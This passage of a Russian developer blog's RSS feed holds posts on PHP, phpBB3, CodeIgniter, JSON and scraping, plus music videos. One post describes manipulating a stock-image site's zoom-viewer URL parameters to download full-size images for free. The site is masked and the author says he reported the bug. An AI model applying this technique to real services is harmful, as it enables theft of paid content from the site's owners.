		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>favicon.ico &#8212; создание и редактирование иконок сайтов</title>
		<link>http://saintist.ru/2009/04/28/favicon/</link>
		<comments>http://saintist.ru/2009/04/28/favicon/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 20:20:53 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=186</guid>
		<description><![CDATA[Понадобилась мне иконка для сайта, т.е. favicon ). Программ под рукой для того чтобы сделать не оказалось, что-то качать и устанавливать не хотелось, лишний мусор, да и люди добрые любят туда зашивать всякие интересные штуковины ). решил поискать онлайн сервисы по генерации иконок, или хотя бы конвертации изображений в favicon. И набрел на очень качественно [...]]]></description>
			<content:encoded><![CDATA[<p>Понадобилась мне иконка для сайта, т.е. favicon ). Программ под  рукой для  того чтобы  сделать не оказалось, что-то качать и устанавливать не хотелось, лишний мусор, да и люди добрые любят туда зашивать всякие интересные штуковины ).</p>
<p>решил  поискать онлайн  сервисы по генерации  иконок, или хотя бы конвертации изображений в favicon.</p>
<p>И набрел  на  очень качественно сделанный  ресурс<br />
<a href="http://saintist.ru/wp-content/uploads/2009/04/favicon-generator.jpg"><img src="http://saintist.ru/wp-content/uploads/2009/04/favicon-generator-300x209.jpg" alt="favicon-generator" title="favicon-generator" width="300" height="209" class="alignnone size-medium wp-image-187" /></a><br />
<strong>http://www.favicon.cc/</strong><br />
<span id="more-186"></span><br />
Очень хороше продуманный  интерфейс с позиции удобства. Сервис позволяет  как самому  рисовать иконки (причем в нижней части, в &#171;прямом эфире&#187;, отображается как она будет выглядеть)<br />
<a href="http://saintist.ru/wp-content/uploads/2009/04/favicon-generator-preview.jpg"><img src="http://saintist.ru/wp-content/uploads/2009/04/favicon-generator-preview-212x300.jpg" alt="favicon-generator-preview" title="favicon-generator-preview" width="212" height="300" class="alignnone size-medium wp-image-188" /></a>.<br />
Редактор  изображения довольно функционален. </p>
<p>Сервис позволяет также загрузить  изображение и получить из него иконку, поддерживаются форматы:jpg, jpeg, gif, png, bmp, ico.   с выбором типа масштабирования изображения.</p>
<p>После того как вы решите что иконка готова, конечный результат  можно скачать нажав ссылку в нижней части страницы.</p>
<p>также присутствует  галерея &#171;творений&#187; посетителей ресурса, в которой можно  рассмотреть во всей красе все что когда либо было создано ).</p>
<p>Одним словом всем рекомендую.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/28/favicon/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>anonymous в phpbb3</title>
		<link>http://saintist.ru/2009/04/28/anonymous-v-phpbb3/</link>
		<comments>http://saintist.ru/2009/04/28/anonymous-v-phpbb3/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 18:59:51 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[phpbb3]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=183</guid>
		<description><![CDATA[Заходя на сайт юзер новый определяется как Anonymous. (ANONYMOUS). т.е. ANONYMOUS это гость, или не авторизировавшийся пользователь. вот пример кода авторизации, общие принципы , допустим когда необходимо интегрировать в сайт phpbb3 и сделать общую авторизацию: подключаем библиотеки, инициализируем переменные ....... //- если есть логин и пользователь гость if(isset($_POST['login']) &#038;&#038; $user->data['user_id'] == ANONYMOUS) { //-- берем [...]]]></description>
			<content:encoded><![CDATA[<p> Заходя на сайт юзер новый определяется как Anonymous. (ANONYMOUS). т.е. ANONYMOUS это гость, или не авторизировавшийся пользователь.<br />
  вот пример  кода  авторизации,<span id="more-183"></span> общие принципы , допустим когда необходимо интегрировать  в сайт phpbb3 и сделать общую авторизацию:</p>
<p><code><br />
подключаем библиотеки, инициализируем переменные<br />
.......</p>
<p>//- если есть логин и пользователь гость<br />
if(isset($_POST['login']) &#038;&#038; $user->data['user_id'] == ANONYMOUS)<br />
{<br />
//-- берем  логин<br />
$username = request_var('login', '', true);<br />
//-- берем пароль<br />
$password = request_var('login_pass', '', true);<br />
//-- проверка есть метка  для автовхода<br />
$autologin	= (!empty($_POST['autologin'])) ? true : false;<br />
//-- $login будет содержать параметры пользователя если они ненужны то просто $auth->login($username, $password, $autologin);<br />
//-- авторизируемя<br />
$login = $auth->login($username, $password, $autologin);<br />
}</code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/28/anonymous-v-phpbb3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как определить что посетитель  смотрит сайт через Safari  в iPhone ?</title>
		<link>http://saintist.ru/2009/04/28/kak-opredelit-chto-posetitel-smotrit-sajt-cherez-safari-v-iphone/</link>
		<comments>http://saintist.ru/2009/04/28/kak-opredelit-chto-posetitel-smotrit-sajt-cherez-safari-v-iphone/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 09:34:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=179</guid>
		<description><![CDATA[Довольно просто. Смотрим юзер агент. Делаем поиск вхождений на iPhone, Mac OS, Safari HTTP_USER_AGENT=Mozilla/5.0 (iPhone; U; CPU like Mac OS X; fr) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3 есть три совпадения, определили. в таком случае выполяняем скрипт js для iPhone var agent=navigator.userAgent.toLowerCase(); var is_iphone = (agent.indexOf('iphone')!=-1); if (is_iphone) { /* выполняем */ } используем [...]]]></description>
			<content:encoded><![CDATA[<p> <a href="http://saintist.ru/wp-content/uploads/2009/04/apple-iphone-safari-firmware-22.jpg"><img src="http://saintist.ru/wp-content/uploads/2009/04/apple-iphone-safari-firmware-22.jpg" alt="apple-iphone-safari-firmware-22" title="apple-iphone-safari-firmware-22" width="320" height="480" class="alignnone size-full wp-image-180" /></a></p>
<p>Довольно просто.  Смотрим юзер агент. Делаем поиск вхождений  на <span id="more-179"></span> <strong>iPhone</strong>, <strong>Mac OS</strong>, <strong>Safari</strong></p>
<p>HTTP_USER_AGENT=Mozilla/5.0 (iPhone; U; CPU like Mac OS X; fr) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3</p>
<p>есть три совпадения, определили.</p>
<p>в таком случае выполяняем скрипт js для iPhone</p>
<p><code>var agent=navigator.userAgent.toLowerCase();<br />
var is_iphone = (agent.indexOf('iphone')!=-1);<br />
if (is_iphone) { /* выполняем */ }</code></p>
<p>используем стили для iPhone</p>
<p><code><!--#if expr="(${HTTP_USER_AGENT} = /iPhone/)"--></p>
<style type="text/css">
<!--
здесь спец стиль  для  iPhone
-->
</style>
<p><!--#else --></p>
<style type="text/css">
<!--
стандартный стиль
-->
</style>
<p><!--#endif --></code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/28/kak-opredelit-chto-posetitel-smotrit-sajt-cherez-safari-v-iphone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Перевод utf-8 строки в верхний/нижний  регистр в php</title>
		<link>http://saintist.ru/2009/04/27/perevod-utf-8-stroki-v-verxnijnizhnij-registr-v-php/</link>
		<comments>http://saintist.ru/2009/04/27/perevod-utf-8-stroki-v-verxnijnizhnij-registr-v-php/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 15:17:17 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=167</guid>
		<description><![CDATA[Есть строка в кодировке utf-8, все символы необходимо перевести в верхний регистр. strtoupper не работает. Используй функцию: string mb_strtoupper ( string str [, string encoding] ); string mb_strtolower ( string str [, string encoding] ) Пример: Преобразование utf-8 строки в верхний регистр echo mb_strtoupper(&#171;Тут твоя utf-8 строка&#187;, &#171;utf-8&#8243;); Преобразование utf-8 строки в нижний регистр echo [...]]]></description>
			<content:encoded><![CDATA[<p>Есть строка в кодировке utf-8,  все символы необходимо перевести в верхний регистр. <strong>strtoupper </strong>не работает.<br />
<span id="more-167"></span></p>
<p>Используй функцию:</p>
<p>string <strong>mb_strtoupper </strong>( string str [, string encoding] );</p>
<p>string <strong>mb_strtolower</strong> ( string str [, string encoding] )</p>
<p>Пример:<br />
<strong> Преобразование utf-8 строки в верхний регистр</strong><br />
echo mb_strtoupper(&#171;Тут твоя utf-8 строка&#187;, &#171;utf-8&#8243;);<br />
<strong> Преобразование utf-8 строки в нижний регистр</strong><br />
echo mb_strtolower(&#171;Тут твоя utf-8 строка&#187;, &#171;utf-8&#8243;);</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/27/perevod-utf-8-stroki-v-verxnijnizhnij-registr-v-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Динамический  base_url в CodeIgniter</title>
		<link>http://saintist.ru/2009/04/25/dinamic-codeigniter-base_url/</link>
		<comments>http://saintist.ru/2009/04/25/dinamic-codeigniter-base_url/#comments</comments>
		<pubDate>Sat, 25 Apr 2009 19:13:25 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[php CodeIgniter]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=148</guid>
		<description><![CDATA[Хочу чтоб при обращению к странице по https, также все внутренние линки были изменены на варианты с https. Из-за того что view страницы загружается с разными url, относительные пути не подходят (js/script.js) и можно использовать функцию base_url (echo base_url().&#8217;js/script.js&#8217;), но дело в том что ее значение статично, так как она берет его из $config['base_url']. Как [...]]]></description>
			<content:encoded><![CDATA[<p>Хочу чтоб при обращению к странице по https, также все внутренние линки были изменены на варианты с https. </p>
<p>Из-за того что view страницы загружается с разными url, относительные пути не подходят (js/script.js) и можно использовать функцию base_url (echo base_url().&#8217;js/script.js&#8217;), но дело в том что ее значение статично, так как она берет его из  $config['base_url'].<br />
Как вариант решения,  динамический базовый путь в $config['base_url']. Дополнительным плюсом будет то, что отпадет необходимость изменять base_url при переносе файлов между доменами.<br />
<span id="more-148"></span></p>
<p>Оптимальным решением будет добавление этих изменений сразу в файл system/config/config.php </p>
<p><code>$config['base_url'] = ((isset($_SERVER['HTTPS']) &#038;&#038; $_SERVER['HTTPS'] == "on") ? "https" : "http");<br />
$config['base_url'] .= "://".$_SERVER['HTTP_HOST'];<br />
$config['base_url'] .= str_replace(basename($_SERVER['SCRIPT_NAME']),"",$_SERVER['SCRIPT_NAME']);</code></p>
<p>Есть и более сложный вариант:<br />
<code>/* Detect ssl connectivity */<br />
if ( isset($_SERVER['HTTPS']) ) {<br />
  $ssl = $_SERVER['HTTPS'];<br />
}elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) ) {<br />
  $ssl = $_SERVER['HTTP_FRONT_END_HTTPS'];<br />
}else {<br />
  $ssl = "OFF";<br />
}<br />
$root = (stripos($ssl, "ON") !== FALSE) ? "https" : "http";</p>
<p>/* Many pages/apps served through the same domain */<br />
if ( isset($_SERVER['HTTP_X_FORWARDED_HOST']) ) {<br />
  list($host) = explode(',', str_replace(' ', '', $_SERVER['HTTP_X_FORWARDED_HOST']));<br />
} else {<br />
  $host = $_SERVER['HTTP_HOST'];<br />
}</p>
<p>$root .= "://".$host;</p>
<p>if ( ! isset($_SERVER['ORIG_script_NAME']) ) {<br />
  $root .= str_replace(basename($_SERVER['SCRIPT_NAME']),"",$_SERVER['SCRIPT_NAME']);<br />
}<br />
else {<br />
  $root .= str_replace(basename($_SERVER['ORIG_SCRIPT_NAME']),"<br />
",$_SERVER['ORIG_SCRIPT_NAME']);<br />
}</p>
<p>$config['base_url'] = "$root";</code></p>
<p><strong>ps:</strong> Проблема с http и https решается гораздо проще установкой $config['base_url'] = &#8216;//example.com/&#8217;.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/25/dinamic-codeigniter-base_url/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Как правильно работать с json_decode в PHP</title>
		<link>http://saintist.ru/2009/04/24/kak-pravilno-rabotat-s-json_decode-v-php/</link>
		<comments>http://saintist.ru/2009/04/24/kak-pravilno-rabotat-s-json_decode-v-php/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 21:37:22 +0000</pubDate>
		<dc:creator>xprommer</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[json_decode]]></category>
		<category><![CDATA[utf]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=127</guid>
		<description><![CDATA[Оказывается, чтобы json_decode правильно распарсила ваш строковый json, необходимо сделать следующее: 1) удостоверьтесь, что ваш json в кодировке utf-8, других json_decode не понимает 2) замените все одинарные кавычки, обрамляющие строки, на двойные, если конечно, таковые имеются 3) имена полей также должны быть заключены в двойные кавычки, т.е. {prop: &#171;value&#187;} не прокатит, нужно {&#171;prop&#187;: &#171;value&#187;} И [...]]]></description>
			<content:encoded><![CDATA[<p>Оказывается, чтобы json_decode правильно распарсила ваш строковый json,</p>
<p>необходимо сделать следующее:</p>
<p>1)  удостоверьтесь, что ваш  json в кодировке utf-8, других json_decode не понимает</p>
<p>2) замените все одинарные кавычки, обрамляющие строки, на двойные,  если конечно, таковые имеются</p>
<p>3) имена полей также должны быть заключены в двойные кавычки, т.е. {prop:  &#171;value&#187;} не прокатит, нужно {&#171;prop&#187;:  &#171;value&#187;}</p>
<p>И все !</p>
<p>Можно конечно из этого ничего не предпринимать, а сразу воспользоваться замечательной библиотекой<span id="more-127"></span> <a href="http://pear.php.net/pepr/pepr-proposal-show.php?id=198">JSON-PHP</a> от Михаля Мигурски. Работает замечательно <img src='http://saintist.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .  Есть правда одно &#171;но&#187;, она довольно медленная, если ей скормить строку с  json-ом больше 30 кб, то она будет её парсить чуть ли не целую секунду. А если json еще крупнее  =&gt; ? <img src='http://saintist.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> , тогда как json_decode тот же json преобразует за миллисекунды &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/24/kak-pravilno-rabotat-s-json_decode-v-php/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Парсинг  контента. Нет ничего проще (phpquery)</title>
		<link>http://saintist.ru/2009/04/24/parsing-kontenta/</link>
		<comments>http://saintist.ru/2009/04/24/parsing-kontenta/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 06:49:17 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[phpquery]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=100</guid>
		<description><![CDATA[Довольно часто попадаются заказы на сбор контента и упаковку его в базу, т.е. парсинг сайтов. Для решения таких проблем подходят стандартные средства php для парсинга xml-файлов (html является подвидом xml как ни крути, меня вот поправили маленькая поправка: html – не подвид xml, это производная sgml (RFC1866), xml – упрошенный подвид sgml, xhtml – приложение [...]]]></description>
			<content:encoded><![CDATA[<p>Довольно часто попадаются заказы на  сбор контента и упаковку его в базу, т.е. <strong>парсинг  сайтов</strong>.</p>
<p>Для решения таких проблем подходят стандартные средства php для парсинга xml-файлов (html  является подвидом xml как ни крути, меня вот поправили <strong>маленькая поправка: html – не подвид xml, это производная sgml (RFC1866), xml – упрошенный подвид sgml, xhtml – приложение xml и как результат подвид sgml</strong>) совместно с регулярными выражениями.<br />
Кода получается много, и после длительного  времени  разобраться в них  становится  несовсем просто.</p>
<p>Недавно наткнулся на довольно  интереcный  порт jQuery в php, на библиотеку под названием phpQuery (<strong>http://code.google.com/p/phpquery/</strong>).<br />
<span id="more-100"></span></p>
<p>Пользователям jQuery, знаком  его очень удобный механизм селекторов, который упрощает  работу со  структурой документа и выборкой его элементов.</p>
<p>Приведу  пример  как можно парсить всеми любимый сайт<br />
<a href="http://saintist.ru/wp-content/uploads/2009/04/logo_beta.gif"><img class="alignnone size-full wp-image-103" title="logo_beta" src="http://saintist.ru/wp-content/uploads/2009/04/logo_beta.gif" alt="logo_beta" width="189" height="26" /></a>, точнее  его раздел  блогов )</p>
<p>код  для себя делал, в качестве теста библиотеки, комментов минимум, тот кто в теме  разберется</p>
<p>ini_set(&#8216;max_execution_time&#8217;, &#8217;0&#8242;);<br />
error_reporting(E_ALL);<br />
$t=mktime();<br />
define(&#8216;URL&#8217;, &#8216;http://www.free-lance.ru/blogs/viewgroup.php&#8217;);</p>
<p>require(&#8216;phpQuery/phpQuery/phpQuery.php&#8217;);</p>
<p>echo mktime()-$t.&#8217;<br />
&#8216;;</p>
<p>$results_page = get_xml_page(URL);</p>
<p>$results = phpQuery::newDocument($results_page);<br />
// див с контентом<br />
$elements = $results-&gt;find(&#8216;#rightcl &gt; div.blog&#8217;);</p>
<p>$info = array();</p>
<p>foreach ($elements as $element){<br />
echo count(($info)).&#8217;<br />
&#8216;;<br />
//&#8212; заголовок поста<br />
$title = pq($element)-&gt;find(&#8216;div.blogcnt &gt; div.header &gt; a&#8217;);<br />
//&#8212;  берем в виде текста<br />
$title = pq($title)-&gt;text();<br />
echo &#8216;title: &#8216;.$title.&#8217;<br />
&#8216;;</p>
<p>//&#8212; поиск блока с логином фрилансера<br />
$login = pq($element)-&gt;find(&#8216;div.blogcnt &gt; div.frllogin a&#8217;);<br />
$login = pq($login)-&gt;text();<br />
//&#8212; логин фрилансера найден?<br />
if(!empty($login)){<br />
//&#8212; дата поста<br />
$datepost = pq($element)-&gt;find(&#8216;div.blogcnt &gt; div.frllogin &gt; span&#8217;);<br />
$datepost = pq($datepost)-&gt;text();<br />
$datepost = substr($datepost, 0, strpos($datepost,&#8217;]')+1);<br />
}<br />
//&#8212; логин не был найден<br />
if(empty($login)){<br />
//&#8212; логин заказчика<br />
$login = pq($element)-&gt;find(&#8216;div.blogcnt &gt; div.emplogin a&#8217;);<br />
$login = pq($login)-&gt;text();<br />
$datepost = pq($element)-&gt;find(&#8216;div.blogcnt &gt; div.emplogin &gt; span&#8217;);<br />
$datepost = pq($datepost)-&gt;text();<br />
$datepost = substr($datepost, 0, strpos($datepost,&#8217;]')+1);<br />
}<br />
echo &#8216;login: &#8216;.$login.&#8217;<br />
&#8216;;</p>
<p>echo &#8216;datepost: &#8216;.$datepost.&#8217;<br />
&#8216;;<br />
//&#8212;  текст поста<br />
$text=pq($element)-&gt;find(&#8216;div.blogcnt &gt; div &gt; table&#8217;);<br />
$text = pq($text)-&gt;text();</p>
<p>echo &#8216;text:&#8217;.$text.&#8217;<br />
&#8216;;<br />
//&#8212; смотри есть там прикрепленная картинка<br />
$img=$text=pq($element)-&gt;find(&#8216;div.blogcnt &gt; div &gt; table tr &gt; td &gt; div &gt; a &gt; img&#8217;);<br />
//&#8212; берем aтрибут src<br />
$img=pq($img)-&gt;attr(&#8216;src&#8217;);</p>
<p>if(!empty($img)){<br />
echo &#8216;img: &lt; img src=&#187; http://www.free-lance.ru/ &#8216;.$img.&#8217;&#187;&gt;<br />
&#8216;<br />
}</p>
<p>//&#8212;  берем ссылку  на полный просмотр поста<br />
$link=pq($element)-&gt;find(&#8216;div.footer &gt; div.commline &gt; a&#8217;);<br />
$link=pq($link)-&gt;attr(&#8216;href&#8217;);<br />
echo &#8216;link: http://www.free-lance.ru&#8217;.$link.&#8217;<br />
&#8216;;<br />
$info[] = array(&#8216;title&#8217; =&gt; $title, &#8216;login&#8217;=&gt;$login, &#8216;datepost&#8217;=&gt;$datepost);<br />
echo &#8216;<br />
&#8216;;<br />
}</p>
<p>function get_xml_page($url) {</p>
<p>$ch = curl_init($url);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br />
$page = curl_exec($ch);<br />
curl_close($ch);<br />
return $page;</p>
<p>}</p>
<p>?&gt;</p>
<p><a href="http://saintist.ru/work/phpquery/">пример  парсинга</a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/24/parsing-kontenta/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>The Animals &#8212; House of the Rising Sun (1964)</title>
		<link>http://saintist.ru/2009/04/24/the-animals/</link>
		<comments>http://saintist.ru/2009/04/24/the-animals/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 05:48:36 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=98</guid>
		<description><![CDATA[исполнение все !!!!!!!]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/Hg7jzi9JAkw&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/Hg7jzi9JAkw&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>исполнение все !!!!!!!</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/24/the-animals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Картинки даром</title>
		<link>http://saintist.ru/2009/04/23/91/</link>
		<comments>http://saintist.ru/2009/04/23/91/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 20:05:50 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[уязвимости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=91</guid>
		<description><![CDATA[Примерно с месяц назад искал изображение в сети заданной тематики, и набрел на довольно известный сток картинок, не такой крутой как www.shutterstock.com, но имеющий неплохой траф. И совершенно случайно нашел уязвимость позволяющую легко брать с сервиса картинки довольно неплохого размера 1000x1000px совершенно безвоздмездно. Для экспроприации картинки всего лишь нужно найти нужное изображение, у которого на [...]]]></description>
			<content:encoded><![CDATA[<p>Примерно  с месяц назад искал  изображение   в сети заданной тематики, и набрел  на довольно  известный сток картинок, не такой крутой как <strong>www.shutterstock.com</strong>, но имеющий неплохой траф. И совершенно случайно нашел  уязвимость позволяющую  легко  брать с  сервиса  картинки  довольно неплохого размера 1000x1000px совершенно безвоздмездно. </p>
<p>Для  экспроприации картинки всего лишь  нужно  <span id="more-91"></span> найти нужное изображение, у которого  на странице просмотра<br />
присутствеут режим просмотра [<strong>Image Zoom</strong>]</p>
<p>например <strong>http://www.сайт.com/блаблабла/блаблабла/</strong></p>
<p>при активации <strong>Зума</strong> открывается окно с  предпросмотрщиком  выполненым на  технологии flash. С помощью которого  можно рассмотреть изображение, точнее его части  в хорошем разрешении</p>
<p>Если ковырнуть  запросы уходящии на сервер то видим вот такую картину</p>
<p>при загрузке вьювера http://блаблабла.сайт.com:60/блаблабла/блаблабла.jpg?cell=300,300&#038;cvt=jpeg</p>
<p>ага</p>
<p>запрос на 60 порт, указывается размер  изображения 300 на 300 пикселей, формат jpeg </p>
<p>ссылка на странице изображения (предыдущая) содержит  строку</p>
<p><strong>блаблабла/блаблабла/</strong></p>
<p>текущая  содержит те же данные (идентификатор) только в другом немного варианте</p>
<p><strong>блаблабла</strong></p>
<p>попробуем напрямую открыть ссылку</p>
<p>http://блаблабла.сайт.com:60/блаблабла/блаблабла.jpg?cell=300,300&#038;cvt=jpeg</p>
<p>результат &#8212;  открывшееся изображение  300 на 300  в jpeg формате</p>
<p>меняем http://блаблабла.сайт.com:60/блаблабла/блаблабла.jpg?cell=300,300&#038;cvt=png</p>
<p>открывается в png</p>
<p>пробуем http://блаблабла.сайт.com:60/блаблабла/блаблабла.jpg?cell=300,300&#038;cvt=tiff</p>
<p>получаем tiff !!!</p>
<p>пробуем играть с  размерами ставим</p>
<p>http://блаблабла.сайт.com:60/блаблабла/блаблабла.jpg?cell=1000,1000&#038;cvt=tiff</p>
<p>Получаем tiff 1000 на 1000 пикселей</p>
<p>Думаю продолжать нестоит) </p>
<p>А теперь представим что теперь не  я один   знаю такой финт ). Посчитаем предпологаемые убытки)</p>
<p>ps:Данной статьей я никого не призываю  совершать какие-либо противоправные действия, хочу лиш  показать что  при разработке зачастую используются довольно  кривые  руки.</p>
<p>Было отправлено  письмо  по контактам указанным на сайте. Баг и ныне там.</p>
<p>Сегодня отправил  повторно сообщение о баге в обратную связь.</p>
<p>)  видел  обсуждение этой статьи на nulled . ws  парни так и непоняли что обсуждается совсем не www.shutterstock.com</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/23/91/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Muse &#8212; New Born (Full Length version)</title>
		<link>http://saintist.ru/2009/04/23/muse-new-born/</link>
		<comments>http://saintist.ru/2009/04/23/muse-new-born/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 11:38:42 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=87</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/FDDCieKfrvY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/FDDCieKfrvY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/23/muse-new-born/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Разрыв мозга в исполнении &#171;Пиво Вдвоем&#187;</title>
		<link>http://saintist.ru/2009/04/23/lyubi-menya-po-francuzski-v-ispolnenii-pivo-vdvoem/</link>
		<comments>http://saintist.ru/2009/04/23/lyubi-menya-po-francuzski-v-ispolnenii-pivo-vdvoem/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 11:27:52 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=79</guid>
		<description><![CDATA[Люби меня по французски In Grid &#8212; Tu es foutu Видели ночь!! Состав музыкантов Андрей Боровой (Андрюха) &#8212; баян, вокал, шоу Владимир Николаев (Вольдемар) &#8212; балалайка, вокал, шоу, чуб С момента своего основания и до настоящего времени количественных и концептуальных изменений состав не претерпел.]]></description>
			<content:encoded><![CDATA[<p>Люби меня по французски<br />
<object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/gu_6iBXsaI0&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/gu_6iBXsaI0&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object><br />
<span id="more-79"></span><br />
In Grid &#8212; Tu es foutu</p>
<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/yck4mCusKMY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/yck4mCusKMY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>Видели ночь!!</p>
<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/8wDO5ePHiNs&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/8wDO5ePHiNs&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>Состав музыкантов<br />
Андрей Боровой (Андрюха) &#8212; баян, вокал, шоу<br />
Владимир Николаев (Вольдемар) &#8212; балалайка, вокал, шоу, чуб</p>
<p>С момента своего основания и до настоящего времени количественных и концептуальных изменений состав не претерпел.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/23/lyubi-menya-po-francuzski-v-ispolnenii-pivo-vdvoem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Интеграция авторизации  phpbb3</title>
		<link>http://saintist.ru/2009/04/23/integraciya-avtorizacii-phpbb3/</link>
		<comments>http://saintist.ru/2009/04/23/integraciya-avtorizacii-phpbb3/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 08:38:48 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[phpbb3]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=68</guid>
		<description><![CDATA[Часто бывает необходимо сделать общую авторизацию для phpBB3. Например тогда когда сайт сделан на какойто определенное CMS а форум для сайта отдельно на phpBB3. искал решения в конце написал свой вариант опишу вкратце пример кода пусть поле логина имеет имя login, а поле пароля login_pass //- авторизируемся на форуме //-- создаем переменные для форума define('IN_PHPBB', [...]]]></description>
			<content:encoded><![CDATA[<p>Часто бывает необходимо  сделать  общую авторизацию для phpBB3. Например тогда когда  сайт сделан  на какойто определенное CMS  а форум для сайта  отдельно на phpBB3.</p>
<p>искал  решения<br />
в конце  написал  свой вариант<br />
<span id="more-68"></span><br />
опишу вкратце</p>
<p> пример кода</p>
<p>пусть  поле логина имеет  имя <strong>login</strong>, а  поле пароля <strong>login_pass </strong></p>
<p><code><br />
//-  авторизируемся на форуме<br />
//-- создаем переменные для форума<br />
define('IN_PHPBB', true);</p>
<p>// Set phpBB root folder properly. Change in according to the actual board folder<br />
<strong>//-- где  расположен  скрипт форума физически</strong><br />
define('PHPBB_ROOT_PATH', './forum/');<br />
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './';</p>
<p>$phpEx = substr(strrchr(__FILE__, '.'), 1);<br />
